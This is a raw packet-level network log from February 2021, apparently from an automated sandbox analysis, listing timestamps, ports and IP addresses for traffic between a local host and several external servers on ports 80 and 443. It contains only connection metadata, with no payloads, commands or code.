Feb 20, 2021 02:03:51.899595022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.899616003 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.899636984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.899643898 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.899653912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.899677038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.899691105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.899713993 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.899733067 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.899738073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.899759054 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.899760008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.899774075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.899777889 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.899801970 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.899811983 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.899851084 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.899872065 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.899892092 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.899897099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.899913073 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.899918079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.899938107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.899939060 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.899955034 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.899986982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.900001049 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.900019884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.900047064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.900051117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.903888941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.904143095 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.904160976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.904190063 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.904201984 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.906368017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.906384945 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.906404018 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.906424999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.906443119 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.906471014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.906486988 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.906502962 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.906510115 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.906526089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.906538963 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.906548977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.906585932 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.906611919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.906644106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.906651020 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.906677008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.906682968 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.906713963 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.906759977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.910192013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.910211086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.910233974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.910253048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.910259962 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.910270929 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.910274029 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.910286903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.910295963 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.910315990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.910321951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.910340071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.910377979 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.911170959 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.911187887 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.911204100 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.911215067 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.911221027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.911227942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.911237001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.911246061 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.911259890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.911272049 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.912722111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.912739992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.912755013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.912766933 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.912771940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.912780046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.912787914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.912795067 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.912806988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.912823915 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.914026976 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.914892912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.914936066 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.914957047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.914978981 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.915023088 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.915066957 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.932080030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.932116032 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.932133913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.932151079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.932173967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.932197094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.932215929 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.932218075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.932233095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.932235956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.932240963 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.932255030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.932264090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.932272911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.932303905 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.932329893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.932353020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.932374001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.932377100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.932393074 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.932396889 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.932411909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.932420015 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.932432890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.932442904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.932451010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.932463884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.932482958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.932499886 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.933964968 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.935173035 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.935193062 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.935208082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.935224056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.935228109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.935240030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.935246944 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.935264111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.935278893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.936114073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.936132908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.936148882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.936161995 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.936180115 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.936182976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.936192989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.936198950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.936223030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.936239004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.936254978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.936270952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.936289072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.936301947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.936316967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.936332941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.936399937 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.936417103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.936435938 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.936445951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.936464071 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.936477900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.936506987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.936547995 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.936572075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.936588049 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.936615944 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.936625957 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.936646938 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.936686039 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.936744928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.937899113 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.937922001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.937935114 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.937946081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.937958002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.937972069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.937992096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.938000917 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.938523054 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.938539982 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.938551903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.938564062 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.938590050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.938606977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.938678980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.938724041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.939237118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.942430973 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.942449093 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.942461014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.942472935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.942513943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.943416119 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.946434975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.946521997 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.946526051 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.946542978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.946553946 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.946574926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.946595907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.946628094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.946644068 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.946674109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.946687937 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.946695089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.946736097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.946803093 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.946842909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.946907997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.946949959 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.947932005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.948510885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.948529005 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.948544025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.948556900 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.948559999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.948570967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.948573112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.948584080 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.948597908 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.948610067 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.949975967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.949995041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.950006962 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.950023890 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.950043917 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.950058937 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.950062990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.950128078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.950169086 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.951204062 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.951222897 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.951239109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.951251984 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.951275110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.951344013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.951359987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.951383114 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.951395988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.953275919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.953299999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.953322887 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.953340054 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.953358889 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.953361034 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.953377962 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.953404903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.953458071 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.953952074 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.953962088 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.954016924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.954067945 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.954092026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.954108000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.954114914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.954138994 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.954152107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.954189062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.954235077 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.954257011 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.954277039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.954283953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.954293966 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.954305887 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.954327106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.954391956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.954411983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.954427958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.954437971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.954452991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.954484940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.954505920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.954529047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.954543114 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.954545975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.954565048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.954586029 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.954607010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.954993010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.955394030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.955415010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.955430984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.955446005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.955451012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.955461979 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.955468893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.955485106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.955492020 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.955508947 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.955535889 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.955549002 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:52.530215979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:52.530314922 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:04:01.483457088 CET	49166	443	192.168.2.22	94.140.114.136
Feb 20, 2021 02:04:04.492014885 CET	49166	443	192.168.2.22	94.140.114.136
Feb 20, 2021 02:04:10.498687983 CET	49166	443	192.168.2.22	94.140.114.136
Feb 20, 2021 02:04:22.512715101 CET	49167	443	192.168.2.22	94.140.114.136
Feb 20, 2021 02:04:22.530622005 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:04:25.522644997 CET	49167	443	192.168.2.22	94.140.114.136
Feb 20, 2021 02:04:31.529474974 CET	49167	443	192.168.2.22	94.140.114.136
Feb 20, 2021 02:04:45.166210890 CET	49168	443	192.168.2.22	194.5.249.156
Feb 20, 2021 02:04:48.176013947 CET	49168	443	192.168.2.22	194.5.249.156
Feb 20, 2021 02:04:54.182487011 CET	49168	443	192.168.2.22	194.5.249.156
Feb 20, 2021 02:05:06.196501017 CET	49169	443	192.168.2.22	194.5.249.156
Feb 20, 2021 02:05:09.206654072 CET	49169	443	192.168.2.22	194.5.249.156
Feb 20, 2021 02:05:15.213298082 CET	49169	443	192.168.2.22	194.5.249.156
Feb 20, 2021 02:05:28.834629059 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:29.032382011 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:29.032469988 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:29.034727097 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:29.232165098 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:29.234872103 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:29.234899998 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:29.235044956 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:29.246471882 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:29.444375038 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:29.644453049 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:30.892241955 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:31.129977942 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:31.629405975 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:31.828552961 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:32.138398886 CET	49172	80	192.168.2.22	95.217.228.176
Feb 20, 2021 02:05:32.202810049 CET	80	49172	95.217.228.176	192.168.2.22
Feb 20, 2021 02:05:32.203039885 CET	49172	80	192.168.2.22	95.217.228.176
Feb 20, 2021 02:05:32.203285933 CET	49172	80	192.168.2.22	95.217.228.176
Feb 20, 2021 02:05:32.267532110 CET	80	49172	95.217.228.176	192.168.2.22
Feb 20, 2021 02:05:32.267560005 CET	80	49172	95.217.228.176	192.168.2.22
Feb 20, 2021 02:05:32.268415928 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:32.466172934 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:32.483792067 CET	49172	80	192.168.2.22	95.217.228.176
Feb 20, 2021 02:05:32.545891047 CET	80	49172	95.217.228.176	192.168.2.22
Feb 20, 2021 02:05:32.546235085 CET	49172	80	192.168.2.22	95.217.228.176
Feb 20, 2021 02:05:32.993336916 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:32.993362904 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:32.993434906 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:33.405445099 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:33.602951050 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:34.152002096 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:34.182480097 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:34.380965948 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:34.886158943 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:34.908853054 CET	49170	443	192.168.2.22	193.8.194.96
Feb 20, 2021 02:05:35.106400967 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:35.648514986 CET	443	49170	193.8.194.96	192.168.2.22
Feb 20, 2021 02:05:35.853614092 CET	49170	443	192.168.2.22	193.8.194.96
